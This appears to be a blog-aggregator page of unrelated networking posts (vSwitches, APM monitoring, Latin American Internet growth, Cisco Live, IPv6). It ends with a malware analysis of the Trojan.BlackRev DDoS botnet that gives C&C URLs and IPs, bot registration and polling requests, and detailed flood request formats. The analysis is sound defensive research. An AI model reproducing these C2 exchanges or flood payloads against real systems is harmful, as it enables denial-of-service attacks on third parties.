It took years before the rumored Cisco vSwitch materialized (in form of Nexus 1000V), several more years before there was the first competitor (IBM Distributed Virtual Switch), and who knows how long before the third entrant (recently announced HP vSwitch) jumps out of PowerPoint slides and whitepapers into the real world.

Compare that to the Hyper-V environment, where we have at least two virtual switches (Nexus 1000V and NEC's PF1000) mere months after Hyper-V's general availability.

Read more ...

I had the pleasure of speaking with the people from Lacuna Systems at Interop a few weeks ago. I wasn’t familiar with them at all, and since they happened to have a booth on the expo floor, I was able to meet up with them and talk about their Indico platform. I’ve used a few APM(application performance management) solutions, so I am a little familiar with the space. However, Lacuna Systems is doing something a little different. Before I mention what that is, allow me to point out a few negative things regarding some of the APM implementations out there.

Cons of APM

1. Can be extremely difficult to implement. - Some APM implementations take months and many engineers to get up and running.
2. Can be extremely difficult to use. - Some APM products have so many nerd knobs that you can get lost in the sheer amount of options. If you don’t have a dedicated monitoring engineer, your APM solution might become a really expensive tool that is never used by anyone.
3. Software agents. - Installing software agents on a bunch of servers can become problematic. The agents have to be updated on occasion, and depending on how they are implemented, they can cause stability issues.
4. Interface monitoring. - It is fairly common to have to mirror all traffic coming in and out of chokepoint interfaces(physical or logical) and relay that to the APM system. Quite often, the APM system itself does not have the number of interfaces needed to aggregate all this data and you have to buy a really expensive network tap solution(eg Gigamon or Anue/Ixia). You can also potentially use up the limited number of monitoring sessions available on your hardware platforms and have to make hard decisions as to which of your monitoring platforms is more important.

Not every APM solution out there has all of the problems listed above. Some have only one or two and others don’t have any of those problems. How is Lacuna Systems different? It’s quite simple. They are only watching your load balancers, or ADC’s, for those of you who refuse to use the term load balancer.

Why Load Balancers?

How many data centers do you walk into these days that DON’T have some sort of load balancer in production? Not many, unless you are dealing with smaller environments. The traffic that flows through a load balancer is probably pretty important to an organization. Any revenue generating applications are probably sitting behind one or more load balancers. You’d want redundant servers at each tier to ensure constant availability. The easiest way to do that is with a load balancer.

Considering the traffic flowing through a load balancer is pretty important, why not focus your monitoring efforts on that traffic? That’s what Lacuna Systems does. You might think that they are missing out on a lot of other stuff in the network by only watching the load balancers. They would agree with you because they are also not trying to be all things to all people. What they are betting on is that the bulk of the information you care about from an APM perspective, is flowing through your load balancers.

How Does It Work?

Simple. They use the built in API’s from each load balancer to get the monitoring information. No network taps or port spans are needed. No remote agents on servers. None of that. They basically just need login information to your load balancer and then they can pull all the data out that they need for monitoring purposes. The Indico platform will take in all of this data and automatically build a baseline of your traffic. When there are deviations down the road, alerts get sent. I’d like to say that there is more to it than that, but that is basically how it works.

If you add new members to a load balancing pool or create new virtual IP’s on a load balancer, the Indico platform automatically detects them. You don’t have to manually update the system every time a change is made to a  particular load balancer that is being monitored by Indico.

How Can I Use It?

Today, Lacuna Systems is focusing on F5, Citrix, and A10. However, that doesn’t mean those are the ONLY vendors they will support. I asked them about future plans to support other vendors, and they told me that they’ll support whichever vendor they need to based on customer demand. Obviously, the vendors they support will also have to allow API access. Otherwise, you are looking at screen scrapes off a GUI session, which is messy trying to convert it to text, or using CLI to get data and then parsing it into a usable format.

Think beyond monitoring though. What if you could provision things for multiple load balancers from a central location? What if you were able to do this for load balancers from multiple vendors all at once? That’s where I see an additional use case with Indico. Granted, you can do that apart from Indico just by using the API’s, but since Indico is able to talk to multiple vendors, if you happen to use a variety of load balancers, it might make sense to push those changes through the Indico platform. Maybe that is something they could bake into the product down the road. Of course, customers would probably have to ask for that feature first.

More Info

Here’s a quick 15 minute video from Robert Scoble and Rackspace where Derek Andree from Lacuna Systems is interviewed about the Indico platform. It is a nice summary of the overall solution.

Just to give you a general idea of what their platforms can monitor, here are the numbers for the virtual and 2 physical appliances(Dell servers):

More information is found here: https://lacunasystems.com/products.php

Closing Thoughts

There are a lot of players in the APM space. Most of them are very expensive. Depending on your needs, you may not need all of the bells and whistles that the larger APM players provide. Maybe you just need to know how your core applications are performing. If they happen to flow through a load balancer, Lacuna Systems just might be a vendor that can meet your needs. They also don’t require you to mirror your network traffic into another device for monitoring purposes since they are using API’s.

All in all, I thought it was an interesting way to monitor applications. You can check them out at www.lacunasystems.com.

Two weeks ago, I had the great pleasure of visiting Medellin, Colombia to present at the Latin American and Caribbean Network Operators Group (LACNOG) portion of LACNIC 19. Medellin is a vibrant place, recently recognized as the world's most innovative city by the Urban Land Institute due to the city's investments in public infrastructure and civic spaces.

Perhaps equally innovative is Colombia's Internexa, which in recent years has been building the region's first international terrestrial telecommunications network. Meanwhile, another remarkable regional story is the exponential growth of the domestic Internet in Brazil — especially when contrasted with the stagnation in Mexico. While government initiatives in Brazil, the region's largest economy, were able to foster much of its recent growth, the current regulatory overhaul in Mexico hopes to achieve something similar in the region's second largest economy.

Internet Growth in Latin America

In the presentation, I discussed where we did and did not see Internet growth (crecimiento in Spanish) in the Latin American region. To measure growth, I borrowed a metric, domestic ASN growth, from my colleague Jim Cowie's recent presentation on the growth of the Internet of the Middle East at MENOG 12 in Dubai.

For each country, we counted up the number of domestic Autonomous Systems (ASNs), where an ASN is considered domestic in a country when at least 70% of its customer base is in that country. Of course, ASNs can vary dramatically in size, from large companies to small non-profits. But regardless of size, our metric accurately captures the "number of Internet players" in a country. It is the relative change in this count over time that is most informative, as shown in the following table for a subset of Latin American countries:

Our data illustrates very robust growth in Brazil, Argentina and Costa Rica since January 2010. During this period, Brazil grew by 340% and now exceeds the size of the rest of the region combined. By this metric, Brazil adds the equivalent of two Mexicos to its domestic Internet each year.

Costa Rica

Dramatic growth of the Internet in Costa Rica is a result of the telecommunications regulatory reform of 2008. The reform was a requirement of the CAFTA-DR trade agreement, which mandated that the government of Costa Rica end the monopoly of ICE, set up a telecoms regulator Sutel, and allow new competition. Although Costa Rica was one of the smaller countries in our analysis, it had the largest relative growth in the region. New players in Costa Rica include new telecommunications providers as well as new enterprises operating in the country.

Brazil

Brazil's tremendous growth has been a result of a national program of infrastructure investment and government incentives, which was described at LACNIC 19 by Artur Coimbra of the Brazilian Ministry of Communications. In addition to upgrading and expanding the domestic backbone of Telebras, Brazil has established 22 municipal Internet exchange points called PTTs (Pontos de Troca de Tráfego) to facilitate domestic exchange of Internet traffic. In his presentation, Wardner Maia, President of the Association of Brazilian Internet Providers (ABRINT) discussed the recent explosion of small regional Internet service providers serving parts of Brazil that hadn't previously had access to the Internet. On average, he said, the Brazilian government was issuing over 700 licenses per year to these new providers, 78% percent of which are considered small companies. When we compared our data, it was clear that the growth of domestic ASNs matched the growth in licensing that his organization was witnessing.

We're not the only ones witnessing Brazil's growth. In their most recent State of the Internet report, content provider Akamai noted the largest year-to-year increase in unique IP addresses reaching their servers was from Brazil (a 33% increase).

Argentina

Like Brazil, Argentina's growth was due to infrastructure development. A relatively competitive market like Brazil, Argentina also had a program of developing regional IXPs to foster domestic connectivity. Argentina's CABASE program has established 10 municipal IXPs and is facilitating the growth we're seeing in that country. This growth has vaulted Argentina past Mexico in the number of players in the domestic Internet. Argentina has the third largest economy in Latin America, behind Mexico and Brazil.

Mexico

On the other end of the spectrum is Mexico, where we have observed negligible growth in its domestic Internet.

One of the least competitive markets in Latin America, Mexico is dominated by its incumbent Telmex. Last year, the OECD concluded that, "inefficient telecommunication markets impose a significant cost on the Mexican economy and the welfare of its population" to the tune of US$129Bn per year or 1.8% of the GDP of Mexico.

The lack of competition is such a major problem that newly elected Mexican President Enrique Peña Nieto has made telecom reform one of the key features of his Pacto por México. Among other measures, the legislation would cap market share at 50% and remove the limit on foreign ownership of telecommunications companies. Once instituted, the market share cap may require the break-up of Telmex and pit Peña Nieto against Telmex's owner and CEO, billionaire Carlos Slim, the richest man in the world.

As of this writing, the Mexican telecom reform has passed both houses of congress and has been ratified by a majority of Mexican states. America Movil, the parent company of Telmex, has already warned shareholders that the new legislation could have a material impact on its Mexican business.

In separate development, several mid-sized Mexican telecommunications companies have united to establish the first domestic Internet Exchange Point (IXP) in Mexico, the only country in the OECD not to currently have one. However, without Telmex on board, the impact on Mexican domestic connectivity as a whole may be limited.

The regulatory reform in Mexico won't take effect until 2014. If Costa Rica can serve as a model of what to expect in Mexico, it may take a couple of years until we observe a meaningful increase in growth. However, given the size and richness of the Mexican economy, perhaps there is reason to believe that a long-awaited expansion could occur at a much faster rate once facilitated by this reform.

Regional Terrestrial Connectivity

In many parts of the world, the promise of regional terrestrial connectivity that directly connects neighboring countries has proven elusive. The Program for International Development in Africa (PIDA) has been pushing for this in Africa, while LIRNEasia has been advocating for the same thing for South and Southeast Asia. The GCCIX project has begun to address this in the Middle East. Without terrestrial connectivity, countries in these regions are reliant on submarine cables to carry their traffic to neighboring countries. This implies that Internet traffic must often traverse long distances to reach geographically close locations, resulting in longer latencies and poorer performance. In addition, submarine cables occasionally suffer faults and undersea repairs take significantly more time than those on land.

Until recently, South America could also be defined much in the same way, but that is changing. Miami is still the common international connection point for Internet providers in Latin America (Los Angeles and Dallas for Mexico). However, Colombian company Internexa is leveraging the international network of power lines owned by its parent company ISA to build the region's first multi-country terrestrial network (pictured at right). At LACNIC 19, Internexa presented statistics about how much regional Internet traffic they are currently carrying that no longer needs to leave the continent in order to reach its destination. They currently have direct terrestrial connections between Brazil, Argentina and Chile as well as between Venezuela, Colombia, Ecuador and Peru. Ultimately, their goal is to build a terrestrial network spanning all the countries of South America to provide the fastest and most direct service in the region. In my talk, I used the screenshots below from our upcoming product, Internet Business Intelligence, to illustrate which Internet provider combinations provided the lowest latency paths from the city hosting the conference (Medellin, Colombia) to nearby Quito, Ecuador. By eliminating the need to send Internet traffic out of the region, Internexa was the fastest option to Ecuador. When looking at performance over time in the graphic below and to the right, we can see that the Ecuadorian government-owned provider Corporacion Nacional de Telecomunicaciones (CNT) experienced some brief performance issues, while Internexa's subsidiary in Ecuador, Transnexa, provided the most stable low-latency path between these two cities during this time period.

Looking to the Future

Developments such as Internexa's terrestrial network and Brazil's amazing Internet boom have been fascinating to observe. However, the most important story for the region in the coming years may be whether or not Peña Nieto is successful at breaking up Carlos Slim's Telmex and its grip on the Mexican telecom market. Solo el tiempo lo dirá — only time will tell.

At work, we’ve been getting ready to deploy a few different cluster technologies. One is a set of KVM hosts to offer VMaaS functionality to end users. Another is a CEPH cluster (http://ceph.com/) which is smart distributed storage. The third is a Hadoop cluster. Each of these initiatives popped up around the same time and [...]

Welcome to the fourth part of the Programming 101 for Network Engineers series and part two of the Basic Language Elements and Concepts article. The following overview of programming language elements and those found in part three will provide a good foundation that can be built upon as we move into other topics and the detail [...]

The OpenFlow zealots are quick to point out the beauties of the centralized control plane, and the huge savings you can expect from using commodity hardware and open-source software. What they usually forget to tell you is that you also have to reinvent all the wheels the networking industry has invented in the last 30 years.

Read more ...

It’s down to one month until Cisco Live 2013!  As usual, this is the time when the breakneck pace of updates starts coming out.  Whether it be about discount Disney World tickets from Teren Bryson (@SomeClown) or the comprehensive update from Jeff Fry (@fryguy_pa), you’ve got your bases covered.  One of the events that I’m most excited about is the official Cisco Live Tweetup.

Twitter has become a powerful medium in the IT industry.  It allows people from all around the world to communicate almost in real time about an increasingly broad list of subjects.  Professionals that take advantage of Twitter to build contacts and solve problems find themselves in a very advantageous position in relation to those that “just don’t get it.”  When a large group of IT professionals gets together in real life, it’s almost inevitable that they all want to get together and hang out to discuss things face-to-face instead of face-to-screen.  That’s the real magic behind a tweetup – putting a living, breathing face to a Twitter handle or odd avatar.

The 2012 Cisco Live Tweetup was a huge success.  Many of us got to catch up with old friends, make some new friends, and generally spend time with awesome folks all over the industry.  The social corner was the place to watch keynotes, troubleshoot problems and even talk about non-nerdy stuff.  After the end of the event, I couldn’t wait to try and top it in 2013.  Thanks to some help from the Cisco Live Social Team, I think we’ve got a great chance.

The 2013 Cisco Live Tweetup will be held on Sunday, June 23rd at 5:00 p.m. at the Social Media Hub.  It’s on the first floor of the convention center right across from registration.  We’ve got some prime real estate this year to check out all the happenings at Cisco Live!  That also means there will be curious people that want to check out what this whole “social” thing is about.  That means more people tweeting and sharing, which is always a win in my book.  Jeff and I will also have a limited supply of the coveted Twitter flags for your Cisco Live name badge.  While there may be a printed version on the main badge itself, nothing shows your social media plumage quite like a piece of name badge flair.

The 5:00 p.m. start time was chosen by popular vote in an online poll.  I know that there are lots of events that typically run during Sunday, like labs and Techtorials.  In particular, there is a Cisco Empowered Women’s Network event that starts at 4:00.  I don’t want anyone to feel slighted or left out of all the fun at Cisco Live from the need to leave an event just to run to another one.  To that end, I plan on being at the Social Media Hub starting around 2:00 p.m. on Sunday and staying as long as it takes to meet people and welcome them to the Twitter family at Cisco Live.  I want everyone to feel like they’ve had an opportunity to meet and greet as many people as possible, especially if they have to leave to attend a reception or are just coming out of an 8-hour brain draining class.

Remember that the fun at Cisco Live doesn’t just end with the Tweetup.  We’re planning on having all kinds of fun all week long.  I’m working on the plans to get a 5k run going with Amy Lewis (@CommsNinja) and Colin McNamara (@colinmcnamara) for those out there that want to stretch their legs for some great charities.  There are also a couple more surprises in store that I can’t wait to see.  I’ll drop a few hints once those plans come closer to fruition.  I’m really looking forward to seeing all of the people on the Cisco Live 2013 Twitter list as well as meeting some new people.  See you there!

ScienceLogic has been getting the right kind of press recently – e.g. they were a winner of Best of Interop 2013 – Management & Monitoring, and Infoworld had some rather nice things to say. They’ve got some high-profile customers too, such as Fasthosts and Equinix. But what exactly is their product all about, and is it any [...]

Again, while not officially a blueprint change just yet, it’s clearly coming. To that end we have gone ahead and taken the initiative to add another CCIE Voice bootcamp based on the current v3 blueprint.

The new date and location will be from Oct 7 – 18 in our brand new Seattle/Bellevue WA classroom and you can now register for it here.

A quick check of the Cisco CCIE Voice testing seats just now showed that there are still plenty available – with nearly one available every day between now and November in SJC, RTP and Tokyo, and fewer, but still plenty in Brussels, Bangalore and Sydney.

Those will all go quickly, just like our bootcamp seats will, so book both soon!

UPDATE: We were contacted informally and kindly ask to remove the title that hasn’t been officially released as of yet.

It seems as though the new blueprint hasn’t been officially announced yet, the CCIE Voice track is slated to become the CCIE **redacted** track this November, 2013. As of now only preliminary information is available, but per a reliable source the we have heard that the CCIE Voice certification will be renamed CCIE **redacted** to reflect advances in networked collaboration solutions. The CCIE **redacted** certification will include voice, video, instant message, and presence.

Stay tuned, as more information is likely to surface as we get closer to Cisco Live 2013 in Orlando. Speaking of which, it’s not too late to RSVP to INE’s CCIE Candidate Party at Cisco Live 2013. Hope to see you there!

I've been quiet for some time because I've been working on a couple of eBooks. Today, I pleased to publicly announce my first ever eBook called "The Arse First Method of Technical Blogging".. I wrote this book to answer the question that I get asked a lot - "How do you write so many blog posts?". So I started to write a blog post until I realised it would take too long. A year later I have taken it far enough to release an eBook.

Recently Greg Ferro published an e-book for bloggers, “Arse First Method of Technical Blogging.” It has some great suggestions (although I’m not sure what an arse is), but after reading it, I realized it really doesn’t apply to security blogging. Without further ado, here are some of my tips for good infosec blog posts. 1. [...]

Did you know Ethernet turned 40 today? I didn't (I was never good at tracking anniversaries), but Kris Amundson (the engineer keeping his network up and running in pitch dark Antarctica) quickly brought it to my attention with wonderful photos of South Pole Ethernet network built @ -69C (that's -92F if you're still ignoring the metric system).

Even better, they still have a thick coax cable with transceiver screwed into it!

Thanks for sharing, Kris! Really appreciated ;)

I was sitting next to a really nice security engineer during the fantastic dinner-in-a-wine-cellar @ Troopers 13 and as we started talking about security implications of ignoring IPv6, I was quickly able to persuade him that it's dangerous to pretend IPv6 doesn't exist and that even though you might choose not to deploy it, you still have to acknowledge it exists and take protective measures.

It’s always great fun to explain the dangers of ignoring IPv6 to a networking or security audience, and see some people muttering “oh, ****”

Read more ...

Looking forward to heading back to Cisco Live this year. Haven’t been back since I was there last in 2009. Something always seemed to come up the last few years to keep me away. I am excited to be attending this year since it is in Orlando. Not sure how I am going to feel about that Orlando weather though. Got a couple of Don Slice’s EIGRP sessions scheduled. If you use EIGRP in your enterprise network, or prepping for the R&S lab they are very informative.

I’m hopping on a plane to Seattle this afternoon to speak at 2013 IPMA Forum at Saint Martin’s University.

I’ll be continuing my habit of tilting at windmills (ask @jdooley_clt if you are curious), with the goal of getting state and local agencies to adopt modern software development methodologies (Agile) on OpenSource platforms such as OpenStack.

What is IPMA

The Mission of the IPMA is to help maintain Washington State’s position as the nation’s premier IT state by continuing to advance the quality and professionalism of the Washington State Government IT community. The IPMA is dedicated to:

• Promoting professional networking among state government IT managers, business leaders and IT industry leaders
• Enhancing the IT community’s teamwork, collaboration and communications across Washington State agencies
• Providing professional development opportunities for the state’s IT leaders, managers and technical staff that focus on:
  • Developing and enhancing key IT skills
  • Expanding leadership and managerial competency
  • Providing visibility to important IT technologies and their successful application
• Sponsoring events that support the state’s emerging business issues

 

What will I be speaking about

Session Link:

 http://www.ipma-wa.com/event/2013-ipma-forum/agenda/Bus09

Session title: 

Integrating it all: Apps, Data, Mobile, E-commerce and the Cloud

Targeted audience:  

Application Architects, Systems Architects Technical Managers and individual contributors

Speaker(s) name and title: 

Colin McNamara, Nexus IS,  is a seasoned professional with over 15 years’ experience with network and systems technologies

Session description:

           In the transition to cloud computing, a new class of application design patterns have emerged. These application structures closely rely on public and private cloud platforms such as Amazon and OpenStack. In this session we will discuss the key drivers causing this shift, the platforms to support it, as well as key technical, organizational and cultural changes to support these cloud computing applications and platforms.

Lessons to be learned:

Understand how private cloud platforms like OpenStack fit in your e-commerce, mobile and “cloud” application strategy. Understand how the importance of Continuous Delivery tools in this ecosystem. Understand the organization and project management  structures necessary to deliver and support next generation cloud applications

How can you get hold of me while I’m out here

The best way of getting hold of me while I’m at a conference is pinging me on twitter – @colinmcnamara or swing by the Nexus booth on the show floor and ask someone to hunt me me down.

Similar Posts:

• OpenStack Summit Fall 2012 Day 2 – Where is colin
• OpenStack summit Schedule – Thursday – Focusing on Swift Object Storage
• My Schedule – OpenStack summit day 3
• OpenStack presentations to vote for – Shameless pandering
• VMware’s Acquisition of Nicira – VMware confirming the hypervisor is dead
• Come to my session on surviving your first commit at OpenStack summit

--Colin McNamara

Speaking at IPMA tomorrow on OpenStack, DevOps and Continuous Delivery

Tags: Continuous Deployment, DevOps, jenkins, openstack

Junos Pulse Secure Access Service 7.4 now offers FIPS validated Cryptography and Suite B.  Pulse Mobile Client for Android and for iOS offer FIPS and Suite B just in time for government approvals.

Since it has been a little while since we profiled a DDoS botnet family on the blog, let’s take a look at Trojan.BlackRev (also known as the “Black Revolution” trojan.) It was named for the Mutex set in early versions of the malware. This family is interesting from a research perspective because there are at least four revisions in the wild showing its progression from a basic DDoS bot to a more advanced one.

Revision	MD5	C&C URL	C&C IP
1	06d8da1e14cff81ca2fad02d2a878c72	http://userhaos.ru/113/bot/gate.php	91.105.232.105
2	c9c6aeacee9f973ca0ca5da101a12a16	http://ergoholding.ru/rev/gate.php	91.204.122.100
2.5	7141cacc3f4a191015a176947a403b79	http://clfrev.ru/rev/panel/gate.php	93.170.130.112
3	eae553d72142f9dcb06c5c134015fe7a	http://ergoholding.ru/ddd/gate.php	91.204.122.100

The programming language used is Delphi (networking support via the Synapse library), PEiD detects it as version “6.0 – 7.0″ and the Interactive Delphi Reconstructor (IDR) confirms version 7.

As an aside, the latter tool’s IDC Generator helped significantly in reverse engineering these binaries in IDA Pro, thanks much!

Based on the Delphi usage, command and control locations, and the language references in some of the HTTP headers, the nationality of this family is empirically Russian. But, as with all malware attribution, this is highly speculative. It is also unclear whether a single threat actor has access to the source code or whether the code has been released or leaked and multiple actors are making modifications.

Revision 1

Revision 1′s command and control (C&C) is HTTP based. Bots register to the C&C using a request like this:

GET /113/bot/gate.php?reg=lemaaapuzg HTTP/1.0
Host: userhaos.ru
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)

The reg parameter value is set to 10 random lowercase letters.

Here is how bots poll for commands:

GET /113/bot/gate.php?cmd=urls HTTP/1.0
Host: userhaos.ru
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)

The C&C will respond with a “|” delimited message:

command|unknown_integer|unknown_integer2|target|query string or port|

Identified commands:

• stop – stop attack
• die – terminate bot process
• sleep – sleep for one hour
• http – HTTP GET request flood #1
• simple – HTTP GET request flood #2
• loginpost – HTTP POST request flood #1
• datapost – HTTP POST request flood #2

The following DDoS attacks are implemented in this revision.

Attack – http

A HTTP GET request flood. Here is a sample request:

GET /index.html HTTP/1.1
Host: victim.com
Keep-Alive: 266
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Accept-Charset:\twindows-1251,utf-8;q=0.7,*;q=0.3
Referer: http://victim.com/
Cookie:\tPHPSESSID=t0gmf00id9bp4j9gvfsq87kq22; hotlog=1; __utma=226332163.1894789553.1362397126.1362926988.1363866277.4;

__utmb=226332163.1.10.1363866277; __utmc=226332163; __utmz=226332163.1362397126.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

The Keep-Alive header will be set to a random integer between 0 and 300. The rest of the headers are static.

Attack – simple

A barebones HTTP GET request flood. It uses Synapse’s default GET request and looks like this:

GET /index.html HTTP/1.1
Host: victim.com
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)

Attack – loginpost

A HTTP POST request flood. The POST request will look like:

POST /index.html HTTP/1.0
Host: victim.com
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)
Content-Type: text/html
Content-Length: 25

login=gxt1$pass=svw3re1aq

The login and pass parameters are separated by the “$”. Both values are set to random lowercase letters and digits. The lengths will be chosen randomly between 0 and 15 characters each.

Attack – datapost

A HTTP POST request flood. A sample request:

POST /index.html HTTP/1.0
Host: victim.com
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)
Content-Type: text/html
Content-Length: 895

r8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vs

jr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsjr8vsj

For the POST data, a string of lowercase letters and digits is generated. The length will be randomly chosen between 0 and 150. This string will then be repeated 179 times.

Revision 2

Revision 2 of Trojan.BlackRev modifies the C&C communications slightly. The reg parameter is set to 15 random lower and uppercase letters and it uses the following User-Agent:

User-Agent: Mozilla/4.0 (SEObot)

The following layer 4 attack commands were added:

• syn – TCP connection flood
• udp – UDP flood #1
• udpdata – UDP flood #2
• data – TCP flood
• icmp – ICMP echo request floods

This revision implements revision 1′s http, simple, loginpost, and datapost attacks with the only difference being that in the latter three, the User-Agent used is:

User-Agent: Mozilla/4.0 (SEObot)

The following are the details of the additional DDoS attacks.

Attack – syn

Per the name, this is supposed to be a TCP SYN flood, but behind the scenes, a TCP connection flood is implemented–complete 3-way handshake.

Attack – udp

A UDP flood where the payload is 16 “F”s.

Attack – udpdata

A UDP flood where the payload is 100 random lowercase letters.

Attack – data 

A TCP flood. For the payload, a string of random lowercase letters with a random length of 0 to 100 is generated. This string is repeated 172 times. The concatenated string is then repeated again 35 times.

Attack – icmp

An ICMP echo request or Ping flood. The payload is 44 “7″s.

Revision 2.5

C&C-wise, revision 2.5 is very similar to revision 2. It changes the following commands:

• http
• udp
• udpdata
• data

This revision adds:

• tcpdata – TCP flood #1
• dataget – HTTP GET request flood
• connect – TCP flood #2
• dns – resolve IPs

Attack – http

Example request:

GET /index1.html HTTP/1.1
Host: www.victim1.com
Keep-Alive: 176
Connection: keep-alive
User-Agent: Android-x86-1.6-r2 - Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3
Referer: https://www.google.ru/#hl=ru&gs_rn=9&gs_ri=psy-
ab&tok=TBFEIC6g9ZD8TLHI_O_qEw&cp=5&gs_id=i&xhr=t&q=www.victim1.com&es_nrs=true&pf=p&newwindow=1
&safe=off&output=search&sclient=psy-
ab&oq=site.&gs_l=&pbx=1&bav=on.2,or.r_cp.r_qf.&bvm=bv.45175338,d.bGE&fp=364d6440e7471a0b&biw=
1360&bih=624
Cookie: PHPSESSID=66lf4vv9l8W7engCw6hFmLWShuKAMMuqJICAxiLekLrmAnnmiJ

The Keep-Alive header will be set to a random number between 0 and 300. The Cookie header will be set to “PHPSESSID=” with a value of 50 random uppercase, lowercase, and digits. This revision selects a random User-Agent out of the following 11 possible:

• Yandex/1.01.001 (compatible; Win16; I)
• Yandex/1.01.001 (compatible; Win16; P)
• Yandex/1.02.000 (compatible; Win16; F)
• Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
• Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)
• StackRambler/2.0 (MSIE incompatible)
• StackRambler/2.0
• Android-x86-1.6-r2 – Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2
• Samsung Galaxy S – Mozilla/5.0 (Linux; U; Android 2.1-update1; ru-ru; GT-I9000 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko)
• Samsung Galaxy Tab 10.1 Android 3.1 – Mozilla/5.0 (Linux; U; Android 3.1; en-us; GT-P7510 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko)
• Blackberry OS ?? 4.2 ?? 5 ?????? ? BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179

The rest of the headers are static, including the very specific Referer.

Attack – udp

The UDP payload is interesting. It is 76 bytes in length, and looks like tcpdump output:

[udp sum ok] 60865 FormErr% [0q] 0/0/0 (12) (DF) (ttl 253, id 9987, len 40)

ASERT team member Matt Bing speculated that it might have been copied and pasted from the tcpdump output in this 2005 article on “Understanding the UDP Protocol”

Attack – udpdata

The payload in this variant is 342 “F”s.

Attack – tcpdata

This is a new attack, a TCP flood. The payload is generated like this: a string of 100 random lowercase letters is generated. This string is repeated 172 times. Then, the concatenated string is repeated 35 times.

Attack – data 

The data command was changed to launch both the udpdata and tcpdata attacks.

Attack – dns 

Repeatedly tries to resolve the target IP via gethostbyaddr() function calls.

Attack – dataget 

A new HTTP GET request flood. Example request:

GET /index10.html?
xf29jgj0jwnpl7ivtp4gkrelbj6dm4qsg7x62x7c3u17k9mrpd6k8bgwcpmdrhykhyi8fhcxj5ry0jbwjgo1tqb7645m9ix27
jk9dx1lgq9uj89dme0fp8b0wrknmnk9yieybrhpsd005s5hpwerv1=xf29jgj0jwnpl7ivtp4gkrelbj6dm4qsg7x62x7c3u1
7k9mrpd6k8bgwcpmdrhykhyi8fhcxj5ry0jbwjgo1tqb7645m9ix27jk9dx1lgq9uj89dme0fp8b0wrknmnk9yieybrhpsd00

5s5hpwerv1$....more of the same... HTTP/1.1
Host: www.victim10.com
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (SEObot)

The query string is quite long; it is constructed like this: a string of 150 random lowercase letters and digits is generated. This string is used for 18 name/value pairs. At the end, an additional name/value pairs is added where the values is the random string repeated 53 times. Each name/value pair is separated by a “$”.

Attack – connect 

A new attack, a TCP flood. On each send() iteration a string of 10 random lowercase letters is generated and appended to the previously generated string. A newline is concatenated to the end.

Revision 3

Revision 3 changes things up a bit. The analyzed binary phones home to the same C&C domain and IP as revision 2, but bot registration now looks like this:

GET /ddd/gate.php?id=idbucwehjhhgjjxxe HTTP/1.0
Host: ergoholding.ru
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)

The id parameter will be set to “id” plus 15 random lowercase letters.

Commands in this revision are polled via:

GET /ddd/get HTTP/1.0
Host: ergoholding.ru
Keep-Alive: 300
Connection: keep-alive
